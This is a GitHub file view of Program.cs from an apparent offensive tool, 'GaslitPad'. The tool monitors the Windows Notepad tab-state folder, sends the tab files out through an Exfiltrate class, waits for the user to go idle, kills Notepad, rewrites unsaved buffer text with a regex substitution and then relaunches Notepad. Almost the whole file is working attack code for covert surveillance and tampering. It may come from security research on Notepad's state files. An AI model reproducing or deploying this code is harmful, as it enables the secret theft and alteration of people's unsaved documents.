-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathProgram.cs
More file actions
251 lines (210 loc) · 8.36 KB
/
Copy pathProgram.cs
File metadata and controls
251 lines (210 loc) · 8.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
// See https://aka.ms/new-console-template for more information
using NotepadStateLibrary;
using System.Diagnostics;
using System.Text;
using System.Text.RegularExpressions;
using System.Management;
using System.Net;
using GaslitPad;
using System.Configuration;
using System.IO;
Console.WriteLine("********** Starting *********");
bool isNotepadRunning = false;
//LOL Error checking?
int idleWaitTime = Int32.Parse(ConfigurationManager.AppSettings["idleWaitTime"]); // idle wait time before attack
int pollingInterval = Int32.Parse(ConfigurationManager.AppSettings["pollingInterval"]); // polling interval. Should we have a different rate for checking Notepad running?
string directoryToMonitor = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState");
//TODO: Future: Make this a list or something of attack target parameters
//LOL Error checking?
int attackVersion = Int32.Parse(ConfigurationManager.AppSettings["attackVersion"]); //0 Active Attack, 1 Sleep Attack
string attackFileName = ConfigurationManager.AppSettings["attackFileName"];
string attackRegex = ConfigurationManager.AppSettings["attackRegex"];
string attackReplace = ConfigurationManager.AppSettings["attackReplace"];
bool attackDone = false;
// Get the current state of the directory (file names and their hashes)
var currentFileState = new Dictionary<string, string>();
foreach (var file in Directory.GetFiles(directoryToMonitor))
{
var fileName = Path.GetFileName(file);
var fileByteLength = GetFileByteLength(file);
currentFileState[fileName] = fileByteLength;
}
//TODO: Future: Ship out files
Exfiltrate.SendFiles(directoryToMonitor, currentFileState.Keys.ToList()); //This is not right. I need the full path
if (attackVersion == 0)
{
// Dictionary to store file information: file name -> file length to detect changes
var previousFileState = currentFileState;
Thread monitorThread = new Thread(MonitorNotepad);
monitorThread.IsBackground = true; // Set as background thread so it terminates when the app closes
monitorThread.Start();
Console.WriteLine($"Monitoring directory: {directoryToMonitor}");
Console.WriteLine("Press 'q' to quit...");
// Start a loop to check the directory every few seconds
while (true)
{
Console.WriteLine(InputTimer.GetInputIdleTime().TotalSeconds.ToString());
// Check for newly added files
var addedFiles = currentFileState.Keys.Except(previousFileState.Keys);
foreach (var addedFile in addedFiles)
{
Console.WriteLine($"File created: {addedFile}");
Console.WriteLine(isNotepadRunning.ToString());
//TODO: Future: Ship out new files
Exfiltrate.SendFile(Path.Combine(directoryToMonitor, addedFile));
}
// Check for deleted files
var deletedFiles = previousFileState.Keys.Except(currentFileState.Keys);
foreach (var deletedFile in deletedFiles)
{
Console.WriteLine($"File deleted: {deletedFile}");
Console.WriteLine(isNotepadRunning.ToString());
//TODO: Future: Alert on deleted file
Exfiltrate.DeletedFile(Path.Combine(directoryToMonitor, deletedFile));
}
// Check for modified files (files that exist in both, but with different lengths)
var modifiedFiles = currentFileState
.Where(kv => previousFileState.ContainsKey(kv.Key) && kv.Value != previousFileState[kv.Key])
.Select(kv => kv.Key);
foreach (var modifiedFile in modifiedFiles)
{
Console.WriteLine($"File modified: {modifiedFile}");
Console.WriteLine(isNotepadRunning.ToString());
//TODO: Future: ship out changes
Exfiltrate.SendChanges(Path.Combine(directoryToMonitor, modifiedFile)); //TODO: This should really just exfiltrate the unsavedbufferchunks
}
// Update the previous file state for the next iteration
previousFileState = new Dictionary<string, string>(currentFileState);
// Check for Attack conditions
if (isNotepadRunning && InputTimer.GetInputIdleTime().TotalSeconds > idleWaitTime && !attackDone)
{
Console.WriteLine("Starting attack");
CloseNotepad();
foreach (var file in currentFileState)
{
Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex);
}
OpenNotepad();
}
// Check for user input to exit
if ((Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q) || attackDone)
{
break;
}
// Wait for the next polling interval
Thread.Sleep(pollingInterval);
//Refresh list of current files
currentFileState = new Dictionary<string, string>();
foreach (var file in Directory.GetFiles(directoryToMonitor))
{
var fileName = Path.GetFileName(file);
var fileByteLength = GetFileByteLength(file);
currentFileState[fileName] = fileByteLength;
}
}
}
else
{
while (true)
{
if (Process.GetProcessesByName("notepad").Count() == 0)
{
currentFileState = new Dictionary<string, string>();
foreach (var file in Directory.GetFiles(directoryToMonitor))
{
var fileName = Path.GetFileName(file);
var fileByteLength = GetFileByteLength(file);
currentFileState[fileName] = fileByteLength;
}
Console.WriteLine("Starting attack");
foreach (var file in currentFileState)
{
Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex);
}
}
if (attackDone)
{
break;
}
Thread.Sleep(pollingInterval);
}
}
Console.WriteLine("Monitoring stopped.");
string GetFileByteLength(string filePath)
{
using (FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
{
byte[] data = new byte[fileStream.Length];
fileStream.Read(data);
return data.Length.ToString();
}
}
void MonitorNotepad()
{
while (true)
{
// Check if "notepad" is running
var processes = Process.GetProcessesByName("notepad");
// If notepad.exe is running, set the flag to true, otherwise false
bool isRunning = processes.Length > 0;
if (isRunning != isNotepadRunning)
{
isNotepadRunning = isRunning;
if (isNotepadRunning)
{
Console.WriteLine("Notepad started.");
}
else
{
Console.WriteLine("Notepad closed.");
}
}
// Wait for the next polling interval
Thread.Sleep(pollingInterval);
}
}
void CloseNotepad()
{
foreach (var p in Process.GetProcessesByName("notepad"))
{
p.CloseMainWindow();
p.Close();
//TODO: Should we wait a little time here? Possible file locking issues?
}
}
void OpenNotepad()
{
Process.Start("notepad.exe");
}
void Attack(string path, string fileName, string replace, string regexFind)
{
byte[] o = new byte[0];
using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
{
byte[] data = new byte[fileStream.Length];
fileStream.Read(data);
if (data.Length > 0)
{
NPTabState np = new NPTabState(data, Path.GetFileName(path));
if (np.TypeFlag <= 1 && Path.GetFileName(np.FilePath) == fileName && np.Unsaved.SequenceEqual(new byte[] { 0x1 }))
{
string c = np.ContentString;
Regex rgx = new Regex(regexFind);
Match mtch = rgx.Match(c);
if (mtch.Success)
{
int start = mtch.Index;
int end = mtch.Length;
string r = c.Remove(start, end).Insert(start, replace);
var n = Encoding.Unicode.GetBytes(r);
o = np.WriteContent(n);
}
}
}
}
if (o.Length > 0)
{
File.WriteAllBytes(path, o);
attackDone = true;
}
}